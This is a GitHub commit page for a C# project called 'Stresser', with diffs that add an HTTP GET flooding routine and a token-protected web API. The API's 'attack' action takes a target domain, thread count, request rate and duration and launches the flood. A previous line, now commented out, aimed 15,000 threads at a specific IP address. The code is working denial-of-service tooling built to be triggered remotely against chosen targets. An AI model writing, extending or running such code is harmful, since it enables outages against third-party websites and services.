Skip to content

Commit

Permalink
PUSH
Browse files Browse the repository at this point in the history
-> Using WebServer now!
  • Loading branch information
NaysKutzu committed Apr 17, 2024
1 parent d64657a commit 163a558
Show file tree
Hide file tree
Showing 13 changed files with 137 additions and 2,446 deletions.

This file was deleted.

This file was deleted.

24 changes: 14 additions & 10 deletions Helpers/Flood.cs
Original file line number Diff line number Diff line change
@@ -1,42 +1,46 @@
using System.Diagnostics;

namespace Stresser.Helpers.Flood
{
public class Flood
{
private static readonly HttpClient _client = new HttpClient();
public static async Task SendGetRequests(string url, int threads, int requestsPerSecond)

public static async Task SendGetRequests(string url, int threads, int requestsPerSecond, int durationSeconds)
{
var tasks = new List<Task>();

for (int i = 0; i < threads; i++)
{
tasks.Add(Task.Run(() => FireRequests(url, requestsPerSecond)));
tasks.Add(Task.Run(() => FireRequests(url, requestsPerSecond, durationSeconds)));
}

await Task.WhenAll(tasks.ToArray());
}

private static async Task FireRequests(string url, int requestsPerSecond)
private static async Task FireRequests(string url, int requestsPerSecond, int durationSeconds)
{
var delay = (int)(0000.1 / requestsPerSecond);
var delay = (int)(1000.0 / requestsPerSecond); // Convert to milliseconds

while (true)
var stopwatch = Stopwatch.StartNew();
while (stopwatch.Elapsed.TotalSeconds < durationSeconds)
{
try
{
await _client.GetAsync(url);
}
catch (Exception)
catch (Exception)
{

// Handle exceptions if needed
}

await Task.Delay(delay);
}
}

public static void Start(string targetUrl, int threads, int requestsPerSecond)
public static async Task Start(string targetUrl, int threads, int requestsPerSecond, int durationSeconds)
{
SendGetRequests(targetUrl, threads, requestsPerSecond).Wait();
await SendGetRequests(targetUrl, threads, requestsPerSecond, durationSeconds);
}
}
}
}
13 changes: 6 additions & 7 deletions Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -29,13 +29,12 @@ public static void Start()
hLogger.Log(LogType.Error, "This app can only be executed on a linux device");
}
}
Flood.Start("http://134.73.112.72/HIT", 15000,1500);
//WebServerService wbs = new WebServerService();
//Stop();
//string port = ConfigHelper.GetSetting("webserver", "port");
//string host = ConfigHelper.GetSetting("webserver", "host");
//hLogger.Log(LogType.Info, "Please wait while we start the webserver at " + host + ":" + port);
//wbs.Start(port, host);
//Flood.Start("http://134.73.112.72/HIT", 15000,1500);
WebServerService wbs = new WebServerService();
string port = ConfigHelper.GetSetting("webserver", "port");
string host = ConfigHelper.GetSetting("webserver", "host");
hLogger.Log(LogType.Info, "Please wait while we start the webserver at " + host + ":" + port);
wbs.Start(port, host);
}

public static void Stop()
Expand Down
196 changes: 116 additions & 80 deletions Services/WebServerService.cs
Original file line number Diff line number Diff line change
@@ -1,122 +1,158 @@

using System.Net;
using System.Text;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Http;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;
using Stresser.Helpers.ConfigHelper;

using Stresser.Helpers.Flood;
using Stresser.Helpers.HLogger;

namespace Stresser.Services.WebServerService
{

class WebServerService
{

public void Start(string d_port, string d_host)
{
var host = new WebHostBuilder()
.UseKestrel(options =>
{
int port = int.Parse(d_port);
options.Listen(IPAddress.Parse(d_host), port);
IPAddress hostIp;
if (IPAddress.TryParse(d_host, out hostIp))
{
options.Listen(hostIp, port);
}
else
{
options.ListenAnyIP(port);
}
})
.Configure(ConfigureApp)
.Build();

host.Run();
}
private static (bool isValid, string message) IsAllowed(HttpRequest request)
{
string key = request.Headers["Authorization"];
if (string.IsNullOrEmpty(key))
{
return (false, "The token is invalid!");
}

if (key == ConfigHelper.GetSetting("webserver", "token"))
{
return (true, "Authorized.");
}
return (false, "Key is invalid!");
}

private static void ConfigureApp(IApplicationBuilder app)
{
app.Run(ProcessRequest);
}
private static async Task ProcessRequest(HttpContext context)
{
var request = context.Request;
var response = context.Response;

var absolutePath = request.Path.Value.TrimStart('/');
var (isValidKey, KeyMessage) = IsAllowed(request);
if (isValidKey)
if (request.Method == HttpMethods.Post && request.HasFormContentType)
{
switch (absolutePath)
var form = await request.ReadFormAsync();
StringValues action;
if (form.TryGetValue("action", out action))
{
case "":
{
var errorResponse = new
{
message = "Bad Request",
error = "Please provide a valid API endpoint."
};
var errorJson = JsonConvert.SerializeObject(errorResponse);
var errorBuffer = Encoding.UTF8.GetBytes(errorJson);
response.StatusCode = (int)HttpStatusCode.BadRequest;
response.ContentType = "application/json";
response.ContentLength = errorBuffer.Length;
await response.Body.WriteAsync(errorBuffer, 0, errorBuffer.Length);
switch (action)
{
case "status":
await ExecuteStatusAction(response);
break;
}
case "test":
{
var presponse = new
case "attack":
Program.hLogger.Log(LogType.Info, $"Got a request for an attack!");
if (form.TryGetValue("domain", out var domain) &&
form.TryGetValue("threads", out var threads) &&
form.TryGetValue("rspt", out var rspt) &&
form.TryGetValue("token", out var token) &&
form.TryGetValue("time", out var time))
{
if (token == ConfigHelper.GetSetting("webserver", "token"))
{
Program.hLogger.Log(LogType.Info, $"Attack started on {domain} for {time}s !");
ExecuteAttackAction(response, domain, threads, rspt, time);
await WriteErrorResponse(response, HttpStatusCode.OK, "OK");
}
else
{
Program.hLogger.Log(LogType.Warning, $"Some one tried to start an attack for {domain} but he provided a wrong token!");
await WriteErrorResponse(response, HttpStatusCode.Forbidden, "Token is wrong bozo!.");
break;
}
}
else
{
message = "Example Request",
error = "This is an example request"
};
var pjson = JsonConvert.SerializeObject(presponse);
var pBuffer = Encoding.UTF8.GetBytes(pjson);
response.StatusCode = (int)HttpStatusCode.OK;
response.ContentType = "application/json";
response.ContentLength = pBuffer.Length;
await response.Body.WriteAsync(pBuffer, 0, pBuffer.Length);
Program.hLogger.Log(LogType.Warning, $"Missing parameters for an attack!");
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Missing parameters for 'attack' action.");
}
break;
}
default:
{
var errorResponse = new
case "connect":
if (form.TryGetValue("token", out var authtoken))
{
message = "Page not found",
error = "The requested page does not exist."
};
var errorJson = JsonConvert.SerializeObject(errorResponse);
var errorBuffer = Encoding.UTF8.GetBytes(errorJson);
response.StatusCode = (int)HttpStatusCode.NotFound;
response.ContentType = "application/json";
response.ContentLength = errorBuffer.Length;
await response.Body.WriteAsync(errorBuffer, 0, errorBuffer.Length);
if (authtoken == ConfigHelper.GetSetting("webserver", "token"))
{
await WriteErrorResponse(response, HttpStatusCode.OK, "OK");
}
else
{
await WriteErrorResponse(response, HttpStatusCode.Forbidden, "Token is wrong bozo!.");
}
}
else
{
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Missing parameters for 'connect' action.");
}
break;
default:
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Invalid action specified.");
break;
}
}
}
} else {
var errorResponse = new
else
{
message = KeyMessage,
error = "Invalid API key."
};
var errorJson = JsonConvert.SerializeObject(errorResponse);
var errorBuffer = Encoding.UTF8.GetBytes(errorJson);
response.StatusCode = (int)HttpStatusCode.Forbidden;
response.ContentType = "application/json";
response.ContentLength = errorBuffer.Length;
await response.Body.WriteAsync(errorBuffer, 0, errorBuffer.Length);
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Action not specified.");
}
}
else
{
await WriteErrorResponse(response, HttpStatusCode.MethodNotAllowed, "Unsupported method or content type.");
}
}
}

}
private static async Task ExecuteStatusAction(HttpResponse response)
{
var statusResponse = new
{
status = "OK"
};
await WriteJsonResponse(response, HttpStatusCode.OK, statusResponse);
}

private static async Task ExecuteAttackAction(HttpResponse response, string domain, string threads, string delay, string time)
{
var attackResponse = new
{
message = $"OK"
};
await Flood.Start(domain, int.Parse(threads), int.Parse(delay), int.Parse(time));
await WriteJsonResponse(response, HttpStatusCode.OK, attackResponse);
}

private static async Task WriteJsonResponse(HttpResponse response, HttpStatusCode statusCode, object responseObject)
{
var jsonResponse = JsonConvert.SerializeObject(responseObject);
var buffer = Encoding.UTF8.GetBytes(jsonResponse);
response.StatusCode = (int)statusCode;
response.ContentType = "application/json";
response.ContentLength = buffer.Length;
await response.Body.WriteAsync(buffer, 0, buffer.Length);
}

private static async Task WriteErrorResponse(HttpResponse response, HttpStatusCode statusCode, string errorMessage)
{
var errorResponse = new
{
message = errorMessage,
error = statusCode.ToString()
};
await WriteJsonResponse(response, statusCode, errorResponse);
}

private static void ConfigureApp(IApplicationBuilder app)
{
app.Run(ProcessRequest);
}
}
}
Binary file removed bin/Debug/net8.0/Stresser
Binary file not shown.
Loading

0 comments on commit 163a558

Please sign in to comment.